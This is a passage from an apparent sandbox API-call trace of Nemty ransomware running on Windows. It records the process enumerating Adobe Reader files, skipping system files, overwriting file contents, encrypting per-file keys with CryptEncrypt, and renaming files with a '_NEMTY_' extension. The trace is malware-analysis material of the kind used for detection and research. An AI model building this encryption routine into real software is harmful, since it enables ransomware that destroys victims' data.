lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.399] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb000, lpOverlapped=0x0) returned 1 [0173.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.399] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000 [0173.399] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.399] CloseHandle (hObject=0x3b0) returned 1 [0173.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0173.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0173.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0173.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0173.399] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat._nemty_kgobjgd_")) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.400] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.CAT", cAlternateFileName="")) returned 1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2=".") returned 1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="..") returned 1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="...") returned 1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="windows") returned -1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="rsa") returned -1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="NTDETECT.COM") returned -1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="ntldr") returned -1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="MSDOS.SYS") returned -1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="IO.SYS") returned -1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="boot.ini") returned -1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="boot.ini") returned -1 [0173.400] lstrcmpiW (lpString1="Acroform.CAT", lpString2="AUTOEXEC.BAT") returned -1 [0173.401] lstrcmpiW (lpString1="Acroform.CAT", lpString2="ntuser.dat") returned -1 [0173.401] lstrcmpiW (lpString1="Acroform.CAT", lpString2="desktop.ini") returned -1 [0173.401] lstrcmpiW (lpString1="Acroform.CAT", lpString2="CONFIG.SYS") returned -1 [0173.401] lstrcmpiW (lpString1="Acroform.CAT", lpString2="RECYCLER") returned -1 [0173.401] lstrcmpiW (lpString1="Acroform.CAT", lpString2="BOOTSECT.BAK") returned -1 [0173.401] lstrcmpiW (lpString1="Acroform.CAT", lpString2="bootmgr") returned -1 [0173.401] lstrcmpiW (lpString1="Acroform.CAT", lpString2="programdata") returned -1 [0173.401] lstrcmpiW (lpString1="Acroform.CAT", lpString2="appdata") returned -1 [0173.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.401] Sleep (dwMilliseconds=0x5) [0173.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b017930, dwHighDateTime=0x1d561e8)) [0173.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b017930, dwHighDateTime=0x1d561e8)) [0173.407] GetLastError () returned 0x0 [0173.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.407] GetLastError () returned 0x0 [0173.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.408] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.408] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.408] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.408] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="SUS4dWj4Fh9tn3/CTaq/6t8u5UToSMPje5KcJgG8iJiMmtgcNXhPw6Zy5T6JrYDE\r\nwRFkPM2wtuBBu1c0h/wEG+5lYVadz/V/sUBhSjnTE+AD5DvZGOuC5YvlbtGakCab\r\ni1apFmJuNq/2Hw32YIVUN95DgitRnH/xJEn6kChiUCUBIkTO8ltjLgLnidO2TVzM\r\ntuzzplxG1FE/3RzzkEM6HYcOR4Flx9TWF8FQaOAMFOO54D/re4ifRz/wpYLDOEfY\r\nPTIUUl3efsA69PvOAEre2dWIn4VHlRhYc6qSVZfdfnaXNKj5BAk26UOPZAeM0qVZ\r\n91rSdKxHbTLBgrQEwLwFUQ==\r\n", pcchString=0x653e5dc) returned 1 [0173.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.413] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=449536) returned 1 [0173.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.413] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.413] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.422] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.422] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.422] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=449536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6dc00 [0173.422] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.424] CloseHandle (hObject=0x3b0) returned 1 [0173.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.424] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat._nemty_kgobjgd_")) returned 1 [0173.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.425] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.CAT", cAlternateFileName="ADOBEC~1.CAT")) returned 1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2=".") returned 1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="..") returned 1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="...") returned 1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="windows") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="rsa") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="NTDETECT.COM") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="ntldr") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="MSDOS.SYS") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="IO.SYS") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="boot.ini") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="boot.ini") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="AUTOEXEC.BAT") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="ntuser.dat") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="desktop.ini") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="CONFIG.SYS") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="RECYCLER") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="BOOTSECT.BAK") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="bootmgr") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="programdata") returned -1 [0173.425] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="appdata") returned -1 [0173.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CAT", lpUsedDefaultChar=0x0) returned 19 [0173.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0173.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CAT", lpUsedDefaultChar=0x0) returned 19 [0173.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0173.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CAT", lpUsedDefaultChar=0x0) returned 19 [0173.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CAT", lpUsedDefaultChar=0x0) returned 19 [0173.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0173.426] Sleep (dwMilliseconds=0x5) [0173.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b063bf0, dwHighDateTime=0x1d561e8)) [0173.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b063bf0, dwHighDateTime=0x1d561e8)) [0173.439] GetLastError () returned 0x0 [0173.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.439] GetLastError () returned 0x0 [0173.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0173.439] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.439] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.439] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0173.439] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: 